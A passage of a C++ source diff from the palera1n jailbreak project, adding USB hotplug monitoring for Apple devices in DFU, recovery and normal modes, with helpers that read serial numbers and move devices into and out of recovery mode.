remove_device(IO_OBJECT_NULL, DeviceMode::Normal, removed_id, removed_udid);
|
||||||
|
} else {
|
||||||
|
++it;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (auto& dev : usb_only_devices) {
|
||||||
|
uint32_t id = dev.get_id().unwrap();
|
||||||
|
|
||||||
|
if (known_normal_devices.find(id) == known_normal_devices.end()) {
|
||||||
|
DeviceState discovered;
|
||||||
|
if (build_normal_state(dev, discovered)) {
|
||||||
|
if (discovered.ecid == 0) continue;
|
||||||
|
|
||||||
|
known_normal_devices[id] = dev.get_udid().unwrap();
|
||||||
|
|
||||||
|
{
|
||||||
|
std::lock_guard lock(g_mutex);
|
||||||
|
ManagedDevice& m = g_devices[discovered.ecid];
|
||||||
|
|
||||||
|
release_handle(m.handle);
|
||||||
|
|
||||||
|
m.state = discovered;
|
||||||
|
m.normalPresent = true;
|
||||||
|
m.recoveryPresent = false;
|
||||||
|
m.dfuPresent = false;
|
||||||
|
m.device_id = id;
|
||||||
|
|
||||||
|
m.usbmuxd_device = std::make_unique<IdeviceFFI::UsbmuxdDevice>(std::move(dev));
|
||||||
|
}
|
||||||
|
publish_state();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void hotplug_callback(hotplug_event_t event, hotplug_handle_t handle) {
|
||||||
|
#if !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||||
|
platform_service_t srv = handle.handle;
|
||||||
|
#else
|
||||||
|
platform_service_t srv = handle.serv;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
switch (event) {
|
||||||
|
case HOTPLUG_EVENT_DFU_ADD: handle_other_add(handle, DeviceMode::DFU, false); break;
|
||||||
|
case HOTPLUG_EVENT_DFU_REMOVE: remove_device(srv, DeviceMode::DFU); break;
|
||||||
|
case HOTPLUG_EVENT_RECOVERY_ADD: handle_other_add(handle, DeviceMode::Recovery, true); break;
|
||||||
|
case HOTPLUG_EVENT_RECOVERY_REMOVE: remove_device(srv, DeviceMode::Recovery); break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void recovery_listener_worker() {
|
||||||
|
if (!start_hotplug_monitoring(hotplug_callback)) return;
|
||||||
|
#ifdef __APPLE__
|
||||||
|
CFRunLoopRun();
|
||||||
|
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||||
|
std::unique_lock<std::mutex> lock(g_mutex);
|
||||||
|
g_recoveryRunning = true;
|
||||||
|
g_recoveryCv.wait(lock, [] { return !g_recoveryRunning; });
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace
|
||||||
|
|
||||||
|
void register_device_state_callback(DeviceStateCallback cb) {
|
||||||
|
if (!cb) return;
|
||||||
|
DeviceState snapshot;
|
||||||
|
{
|
||||||
|
std::lock_guard lock(g_mutex);
|
||||||
|
g_callbacks.push_back(cb);
|
||||||
|
snapshot = build_public_state_locked();
|
||||||
|
}
|
||||||
|
cb(snapshot);
|
||||||
|
}
|
||||||
|
|
||||||
|
void ensure_device_event_system_started() {
|
||||||
|
std::call_once(g_startOnce, []() {
|
||||||
|
std::thread(usbmuxd_listener_worker).detach();
|
||||||
|
std::thread(recovery_listener_worker).detach();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
bool enter_recovery() {
|
||||||
|
uint32_t device_id = 0;
|
||||||
|
std::string udid_str = "";
|
||||||
|
|
||||||
|
{
|
||||||
|
std::lock_guard lock(g_mutex);
|
||||||
|
if (g_activeEcid == 0) return false;
|
||||||
|
|
||||||
|
auto it = g_devices.find(g_activeEcid);
|
||||||
|
if (it == g_devices.end() || it->second.state.mode != DeviceMode::Normal) return false;
|
||||||
|
|
||||||
|
device_id = it->second.device_id;
|
||||||
|
udid_str = it->second.state.udid;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto prov_res = IdeviceFFI::Provider::usbmuxd_new(IdeviceFFI::UsbmuxdAddr::default_new(), 0, udid_str, device_id, "ra1ncovery");
|
||||||
|
if (prov_res.is_err()) return false;
|
||||||
|
auto prov = std::move(prov_res).unwrap();
|
||||||
|
|
||||||
|
auto lockdown_res = IdeviceFFI::Lockdown::connect(prov);
|
||||||
|
if (lockdown_res.is_err()) return false;
|
||||||
|
auto session = std::move(lockdown_res).unwrap();
|
||||||
|
|
||||||
|
auto pf_res = prov.get_pairing_file();
|
||||||
|
if (pf_res.is_ok()) {
|
||||||
|
(void)session.start_session(pf_res.unwrap());
|
||||||
|
}
|
||||||
|
|
||||||
|
auto res = session.enter_recovery();
|
||||||
|
return res.is_ok();
|
||||||
|
}
|
||||||
|
|
||||||
|
void exit_recovery() {
|
||||||
|
hotplug_handle_t handle;
|
||||||
|
std::memset(&handle, 0, sizeof(handle));
|
||||||
|
{
|
||||||
|
std::lock_guard lock(g_mutex);
|
||||||
|
if (g_activeEcid == 0) return;
|
||||||
|
|
||||||
|
auto it = g_devices.find(g_activeEcid);
|
||||||
|
if (it == g_devices.end() || it->second.state.mode != DeviceMode::Recovery) return;
|
||||||
|
|
||||||
|
handle = it->second.handle;
|
||||||
|
}
|
||||||
|
exit_recovery(handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // WITH_GUI || WITH_TUI
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||||
|
|
||||||
|
#ifndef EVENT_H
|
||||||
|
#define EVENT_H
|
||||||
|
|
||||||
|
#include <cstdint>
|
||||||
|
#include <functional>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
#ifdef WITH_GUI
|
||||||
|
# include <wx/wx.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
enum class DeviceMode
|
||||||
|
{
|
||||||
|
None,
|
||||||
|
Normal,
|
||||||
|
Recovery,
|
||||||
|
DFU
|
||||||
|
};
|
||||||
|
|
||||||
|
struct DeviceState
|
||||||
|
{
|
||||||
|
bool connected = false;
|
||||||
|
bool isSupported = false;
|
||||||
|
bool multipleDevices = false;
|
||||||
|
DeviceMode mode = DeviceMode::None;
|
||||||
|
std::string productVersion;
|
||||||
|
std::string productType;
|
||||||
|
std::string displayName;
|
||||||
|
uint64_t ecid = 0;
|
||||||
|
std::string udid;
|
||||||
|
uint32_t connectedDeviceCount = 0;
|
||||||
|
};
|
||||||
|
|
||||||
|
using DeviceStateCallback = std::function<void(const DeviceState&)>;
|
||||||
|
|
||||||
|
void register_device_state_callback(DeviceStateCallback cb);
|
||||||
|
void ensure_device_event_system_started();
|
||||||
|
bool enter_recovery();
|
||||||
|
void exit_recovery();
|
||||||
|
|
||||||
|
#endif // EVENT_H
|
||||||
|
|
||||||
|
#endif // WITH_GUI || WITH_TUI
|
||||||
@@ -0,0 +1,419 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||||
|
|
||||||
|
#include "hotplug.hpp"
|
||||||
|
#include <vector>
|
||||||
|
#include <algorithm>
|
||||||
|
#include <string>
|
||||||
|
#include <thread>
|
||||||
|
#include <atomic>
|
||||||
|
#include <chrono>
|
||||||
|
|
||||||
|
constexpr int32_t APPLE_VID = 0x05AC;
|
||||||
|
constexpr int32_t PID_DFU = 0x1227;
|
||||||
|
constexpr int32_t PID_RECOVERY_1 = 0x1280;
|
||||||
|
constexpr int32_t PID_RECOVERY_2 = 0x1281;
|
||||||
|
constexpr int32_t PID_RECOVERY_3 = 0x1282;
|
||||||
|
constexpr int32_t PID_RECOVERY_4 = 0x1283;
|
||||||
|
|
||||||
|
static const std::vector<int32_t> TARGET_PIDS = {
|
||||||
|
PID_DFU, PID_RECOVERY_1, PID_RECOVERY_2, PID_RECOVERY_3, PID_RECOVERY_4
|
||||||
|
};
|
||||||
|
|
||||||
|
static hotplug_callback_t gUserCallback = nullptr;
|
||||||
|
|
||||||
|
static bool is_target_pid(int32_t pid) {
|
||||||
|
return std::find(TARGET_PIDS.begin(), TARGET_PIDS.end(), pid) != TARGET_PIDS.end();
|
||||||
|
}
|
||||||
|
|
||||||
|
static hotplug_event_t get_hotplug_event(int32_t pid, bool arrived) {
|
||||||
|
if (pid == PID_DFU) {
|
||||||
|
return arrived ? HOTPLUG_EVENT_DFU_ADD : HOTPLUG_EVENT_DFU_REMOVE;
|
||||||
|
}
|
||||||
|
return arrived ? HOTPLUG_EVENT_RECOVERY_ADD : HOTPLUG_EVENT_RECOVERY_REMOVE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: IOKit
|
||||||
|
|
||||||
|
#if __APPLE__
|
||||||
|
# include <CoreFoundation/CoreFoundation.h>
|
||||||
|
|
||||||
|
static IONotificationPortRef gNotifyPort = nullptr;
|
||||||
|
static std::vector<io_iterator_t> gIterators;
|
||||||
|
static CFRunLoopSourceRef gRunLoopSource = nullptr;
|
||||||
|
|
||||||
|
static void process_device_iterator(void *refcon, io_iterator_t iterator, bool arrived) {
|
||||||
|
int32_t pid = static_cast<int32_t>(reinterpret_cast<uintptr_t>(refcon));
|
||||||
|
io_service_t device;
|
||||||
|
|
||||||
|
while ((device = IOIteratorNext(iterator))) {
|
||||||
|
if (gUserCallback) {
|
||||||
|
hotplug_handle_t handle = { device, nullptr };
|
||||||
|
|
||||||
|
if (arrived) {
|
||||||
|
IOCFPlugInInterface **plugIn = nullptr;
|
||||||
|
SInt32 score = 0;
|
||||||
|
if (IOCreatePlugInInterfaceForService(device, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID, &plugIn, &score) == kIOReturnSuccess && plugIn) {
|
||||||
|
(*plugIn)->QueryInterface(plugIn, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID320), (LPVOID *)&handle.device);
|
||||||
|
IODestroyPlugInInterface(plugIn);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
gUserCallback(get_hotplug_event(pid, arrived), handle);
|
||||||
|
|
||||||
|
if (handle.device) {
|
||||||
|
(*handle.device)->Release(handle.device);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
IOObjectRelease(device);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void device_added_callback(void *refcon, io_iterator_t iterator) { process_device_iterator(refcon, iterator, true); }
|
||||||
|
static void device_removed_callback(void *refcon, io_iterator_t iterator) { process_device_iterator(refcon, iterator, false); }
|
||||||
|
|
||||||
|
static bool register_pid_node(int32_t pid) {
|
||||||
|
void* refcon = reinterpret_cast<void*>(static_cast<uintptr_t>(pid));
|
||||||
|
CFNumberRef vid_num = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &APPLE_VID);
|
||||||
|
CFNumberRef pid_num = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pid);
|
||||||
|
|
||||||
|
auto setup_notification = [&](const char* notification_type, void (*cb)(void*, io_iterator_t)) -> bool {
|
||||||
|
CFMutableDictionaryRef match = IOServiceMatching(kIOUSBDeviceClassName);
|
||||||
|
CFDictionarySetValue(match, CFSTR(kUSBVendorID), vid_num);
|
||||||
|
CFDictionarySetValue(match, CFSTR(kUSBProductID), pid_num);
|
||||||
|
|
||||||
|
io_iterator_t iter = IO_OBJECT_NULL;
|
||||||
|
if (IOServiceAddMatchingNotification(gNotifyPort, notification_type, match, cb, refcon, &iter) == KERN_SUCCESS && iter != IO_OBJECT_NULL) {
|
||||||
|
cb(refcon, iter);
|
||||||
|
gIterators.push_back(iter);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
};
|
||||||
|
|
||||||
|
bool ok = setup_notification(kIOFirstMatchNotification, device_added_callback) &&
|
||||||
|
setup_notification(kIOTerminatedNotification, device_removed_callback);
|
||||||
|
|
||||||
|
CFRelease(vid_num);
|
||||||
|
CFRelease(pid_num);
|
||||||
|
return ok;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool start_hotplug_monitoring(hotplug_callback_t callback) {
|
||||||
|
if (gNotifyPort != nullptr) return true;
|
||||||
|
if (!callback) return false;
|
||||||
|
|
||||||
|
gUserCallback = callback;
|
||||||
|
gNotifyPort = IONotificationPortCreate(MACH_PORT_NULL);
|
||||||
|
if (!gNotifyPort) return false;
|
||||||
|
|
||||||
|
gRunLoopSource = IONotificationPortGetRunLoopSource(gNotifyPort);
|
||||||
|
CFRunLoopAddSource(CFRunLoopGetCurrent(), gRunLoopSource, kCFRunLoopDefaultMode);
|
||||||
|
|
||||||
|
for (int32_t pid : TARGET_PIDS) register_pid_node(pid);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void stop_hotplug_monitoring(void) {
|
||||||
|
if (!gNotifyPort) return;
|
||||||
|
if (gRunLoopSource) {
|
||||||
|
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), gRunLoopSource, kCFRunLoopDefaultMode);
|
||||||
|
gRunLoopSource = nullptr;
|
||||||
|
}
|
||||||
|
for (io_iterator_t iter : gIterators) {
|
||||||
|
if (iter != IO_OBJECT_NULL) IOObjectRelease(iter);
|
||||||
|
}
|
||||||
|
gIterators.clear();
|
||||||
|
IONotificationPortDestroy(gNotifyPort);
|
||||||
|
gNotifyPort = nullptr;
|
||||||
|
gUserCallback = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen) {
|
||||||
|
if (handle.serv == IO_OBJECT_NULL || !buffer || maxLen == 0) return false;
|
||||||
|
|
||||||
|
CFTypeRef serialProp = IORegistryEntryCreateCFProperty(handle.serv, CFSTR("USB Serial Number"), kCFAllocatorDefault, 0);
|
||||||
|
if (!serialProp) serialProp = IORegistryEntryCreateCFProperty(handle.serv, CFSTR("Serial Number"), kCFAllocatorDefault, 0);
|
||||||
|
if (!serialProp) return false;
|
||||||
|
|
||||||
|
bool success = false;
|
||||||
|
if (CFGetTypeID(serialProp) == CFStringGetTypeID()) {
|
||||||
|
success = CFStringGetCString(static_cast<CFStringRef>(serialProp), buffer, static_cast<CFIndex>(maxLen), kCFStringEncodingUTF8);
|
||||||
|
}
|
||||||
|
CFRelease(serialProp);
|
||||||
|
return success;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool send_usb_control_request(hotplug_handle_t handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void* data, uint16_t wLength) {
|
||||||
|
if (!handle.device || (*handle.device)->USBDeviceOpen(handle.device) != kIOReturnSuccess) return false;
|
||||||
|
|
||||||
|
IOUSBDevRequest request = { bmRequestType, bRequest, wValue, wIndex, wLength, data };
|
||||||
|
kern_return_t kr = (*handle.device)->DeviceRequest(handle.device, &request);
|
||||||
|
(*handle.device)->USBDeviceClose(handle.device);
|
||||||
|
return (kr == kIOReturnSuccess);
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: Libusb
|
||||||
|
|
||||||
|
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||||
|
|
||||||
|
static libusb_context *gCtx = nullptr;
|
||||||
|
static std::vector<libusb_hotplug_callback_handle> gCallbackHandles;
|
||||||
|
static std::thread gEventThread;
|
||||||
|
static std::atomic<bool> gRunning{false};
|
||||||
|
|
||||||
|
static int LIBUSB_CALL hotplug_callback(libusb_context *ctx, libusb_device *dev, libusb_hotplug_event event, void *user_data) {
|
||||||
|
(void)ctx; (void)user_data;
|
||||||
|
|
||||||
|
struct libusb_device_descriptor desc;
|
||||||
|
if (libusb_get_device_descriptor(dev, &desc) != LIBUSB_SUCCESS || desc.idVendor != APPLE_VID || !is_target_pid(desc.idProduct)) return 0;
|
||||||
|
|
||||||
|
if (gUserCallback) {
|
||||||
|
libusb_ref_device(dev);
|
||||||
|
std::thread([dev, event, desc]() {
|
||||||
|
hotplug_handle_t handle = { dev, nullptr };
|
||||||
|
bool arrived = (event == LIBUSB_HOTPLUG_EVENT_DEVICE_ARRIVED);
|
||||||
|
gUserCallback(get_hotplug_event(desc.idProduct, arrived), handle);
|
||||||
|
libusb_unref_device(dev);
|
||||||
|
}).detach();
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool start_hotplug_monitoring(hotplug_callback_t callback) {
|
||||||
|
if (gCtx != nullptr) return true;
|
||||||
|
if (!callback || libusb_init(&gCtx) != LIBUSB_SUCCESS) return false;
|
||||||
|
|
||||||
|
if (!libusb_has_capability(LIBUSB_CAP_HAS_HOTPLUG)) {
|
||||||
|
libusb_exit(gCtx);
|
||||||
|
gCtx = nullptr;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
gUserCallback = callback;
|
||||||
|
gRunning = true;
|
||||||
|
gEventThread = std::thread([]() {
|
||||||
|
while (gRunning) libusb_handle_events_completed(gCtx, nullptr);
|
||||||
|
});
|
||||||
|
|
||||||
|
libusb_hotplug_callback_handle cb_handle;
|
||||||
|
int rc = libusb_hotplug_register_callback(
|
||||||
|
gCtx, static_cast<libusb_hotplug_event>(LIBUSB_HOTPLUG_EVENT_DEVICE_ARRIVED | LIBUSB_HOTPLUG_EVENT_DEVICE_LEFT),
|
||||||
|
LIBUSB_HOTPLUG_ENUMERATE, APPLE_VID, LIBUSB_HOTPLUG_MATCH_ANY, LIBUSB_HOTPLUG_MATCH_ANY,
|
||||||
|
hotplug_callback, nullptr, &cb_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
if (rc == LIBUSB_SUCCESS) {
|
||||||
|
gCallbackHandles.push_back(cb_handle);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
stop_hotplug_monitoring();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
void stop_hotplug_monitoring(void) {
|
||||||
|
if (!gCtx) return;
|
||||||
|
for (auto cb_handle : gCallbackHandles) libusb_hotplug_deregister_callback(gCtx, cb_handle);
|
||||||
|
gCallbackHandles.clear();
|
||||||
|
|
||||||
|
gRunning = false;
|
||||||
|
libusb_unref_device(nullptr);
|
||||||
|
|
||||||
|
if (gEventThread.joinable()) gEventThread.join();
|
||||||
|
libusb_exit(gCtx);
|
||||||
|
gCtx = nullptr;
|
||||||
|
gUserCallback = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen) {
|
||||||
|
if (!handle.serv || !buffer || maxLen == 0) return false;
|
||||||
|
|
||||||
|
struct libusb_device_descriptor desc;
|
||||||
|
if (libusb_get_device_descriptor(handle.serv, &desc) != LIBUSB_SUCCESS || desc.iSerialNumber == 0) return false;
|
||||||
|
|
||||||
|
libusb_device_handle *dev_handle = nullptr;
|
||||||
|
if (libusb_open(handle.serv, &dev_handle) != LIBUSB_SUCCESS) return false;
|
||||||
|
|
||||||
|
int rc = libusb_get_string_descriptor_ascii(dev_handle, desc.iSerialNumber, reinterpret_cast<unsigned char*>(buffer), static_cast<int>(maxLen));
|
||||||
|
libusb_close(dev_handle);
|
||||||
|
return (rc > 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool send_usb_control_request(hotplug_handle_t handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void* data, uint16_t wLength) {
|
||||||
|
if (!handle.serv) return false;
|
||||||
|
|
||||||
|
libusb_device_handle *dev_handle = handle.device;
|
||||||
|
bool must_close = false;
|
||||||
|
|
||||||
|
if (!dev_handle) {
|
||||||
|
if (libusb_open(handle.serv, &dev_handle) != LIBUSB_SUCCESS) return false;
|
||||||
|
must_close = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
int transferred = libusb_control_transfer(
|
||||||
|
dev_handle, bmRequestType, bRequest, wValue, wIndex,
|
||||||
|
reinterpret_cast<unsigned char*>(data), wLength, 1000
|
||||||
|
);
|
||||||
|
|
||||||
|
if (must_close && dev_handle) {
|
||||||
|
libusb_close(dev_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
return transferred >= 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: Liteusb
|
||||||
|
|
||||||
|
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||||
|
|
||||||
|
# include <liteusb.h>
|
||||||
|
# include <map>
|
||||||
|
# include <set>
|
||||||
|
|
||||||
|
struct PersistentDeviceContext {
|
||||||
|
liteusb_device_t device;
|
||||||
|
liteusb_handle_t* session = nullptr;
|
||||||
|
};
|
||||||
|
|
||||||
|
static std::thread gHotplugThread;
|
||||||
|
static std::atomic<bool> gHotplugRunning{false};
|
||||||
|
static std::map<std::string, std::unique_ptr<PersistentDeviceContext>> gConnectedDevices;
|
||||||
|
|
||||||
|
static void hotplug_polling_worker() {
|
||||||
|
liteusb_init(LITEUSB_FLAG_NONE);
|
||||||
|
|
||||||
|
while (gHotplugRunning) {
|
||||||
|
liteusb_query_t *query = nullptr;
|
||||||
|
if (liteusb_query_devices(&query) != LITEUSB_ERR_SUCCESS || !query) {
|
||||||
|
std::this_thread::sleep_for(std::chrono::milliseconds(250));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::set<std::string> active_paths;
|
||||||
|
|
||||||
|
for (uint32_t i = 0; i < query->count; i++) {
|
||||||
|
const auto& dev = query->list[i];
|
||||||
|
if (dev.vid != APPLE_VID || !is_target_pid(dev.pid) || !dev.sysfs_path) continue;
|
||||||
|
|
||||||
|
std::string path(dev.sysfs_path);
|
||||||
|
active_paths.insert(path);
|
||||||
|
|
||||||
|
if (gConnectedDevices.find(path) == gConnectedDevices.end()) {
|
||||||
|
auto ctx = std::make_unique<PersistentDeviceContext>();
|
||||||
|
ctx->device = dev;
|
||||||
|
|
||||||
|
if (liteusb_open_handle(&ctx->device, &ctx->session) == LITEUSB_ERR_SUCCESS) {
|
||||||
|
auto* ctx_ptr = ctx.get();
|
||||||
|
gConnectedDevices[path] = std::move(ctx);
|
||||||
|
|
||||||
|
if (gUserCallback) {
|
||||||
|
gUserCallback(get_hotplug_event(ctx_ptr->device.pid, true), { reinterpret_cast<liteusb_handle_t*>(ctx_ptr) });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (auto it = gConnectedDevices.begin(); it != gConnectedDevices.end(); ) {
|
||||||
|
if (active_paths.find(it->first) == active_paths.end()) {
|
||||||
|
if (gUserCallback) {
|
||||||
|
gUserCallback(get_hotplug_event(it->second->device.pid, false), { reinterpret_cast<liteusb_handle_t*>(it->second.get()) });
|
||||||
|
}
|
||||||
|
if (it->second->session) liteusb_close_handle(it->second->session);
|
||||||
|
it = gConnectedDevices.erase(it);
|
||||||
|
} else {
|
||||||
|
++it;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
liteusb_release_query(query);
|
||||||
|
std::this_thread::sleep_for(std::chrono::milliseconds(250));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool start_hotplug_monitoring(hotplug_callback_t callback) {
|
||||||
|
if (gHotplugRunning) return true;
|
||||||
|
if (!callback) return false;
|
||||||
|
|
||||||
|
gUserCallback = callback;
|
||||||
|
gHotplugRunning = true;
|
||||||
|
gHotplugThread = std::thread(hotplug_polling_worker);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void stop_hotplug_monitoring(void) {
|
||||||
|
if (!gHotplugRunning) return;
|
||||||
|
|
||||||
|
gHotplugRunning = false;
|
||||||
|
if (gHotplugThread.joinable()) gHotplugThread.join();
|
||||||
|
|
||||||
|
for (const auto& [path, ctx] : gConnectedDevices) {
|
||||||
|
if (ctx->session) liteusb_close_handle(ctx->session);
|
||||||
|
}
|
||||||
|
gConnectedDevices.clear();
|
||||||
|
gUserCallback = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen) {
|
||||||
|
auto* ctx = reinterpret_cast<PersistentDeviceContext*>(handle.handle);
|
||||||
|
if (!ctx || !ctx->session || !buffer || maxLen == 0) return false;
|
||||||
|
|
||||||
|
char *serial_num = nullptr;
|
||||||
|
bool success = false;
|
||||||
|
|
||||||
|
if (liteusb_get_device_serial_num(ctx->session, &serial_num) == LITEUSB_ERR_SUCCESS && serial_num) {
|
||||||
|
success = ((size_t)snprintf(buffer, maxLen, "%s", serial_num) < maxLen);
|
||||||
|
free(serial_num);
|
||||||
|
}
|
||||||
|
return success;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool send_usb_control_request(hotplug_handle_t handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void* data, uint16_t wLength) {
|
||||||
|
auto* ctx = reinterpret_cast<PersistentDeviceContext*>(handle.handle);
|
||||||
|
if (!ctx || !ctx->session) return false;
|
||||||
|
|
||||||
|
uint32_t transferred = 0;
|
||||||
|
return liteusb_immediate_ctrl_transfer(
|
||||||
|
ctx->session, bmRequestType, bRequest, wValue, wIndex,
|
||||||
|
reinterpret_cast<uint8_t*>(data), wLength, 5000, &transferred
|
||||||
|
) == LITEUSB_ERR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
void exit_recovery(hotplug_handle_t handle) {
|
||||||
|
char cmd1[] = "setenv auto-boot true";
|
||||||
|
char cmd2[] = "saveenv";
|
||||||
|
char cmd3[] = "reboot";
|
||||||
|
|
||||||
|
send_usb_control_request(handle, 0x40, 0, 0, 0, cmd1, sizeof(cmd1));
|
||||||
|
send_usb_control_request(handle, 0x40, 0, 0, 0, cmd2, sizeof(cmd2));
|
||||||
|
send_usb_control_request(handle, 0x40, 0, 0, 0, cmd3, sizeof(cmd3));
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // WITH_GUI || WITH_TUI
|
||||||
@@ -0,0 +1,82 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
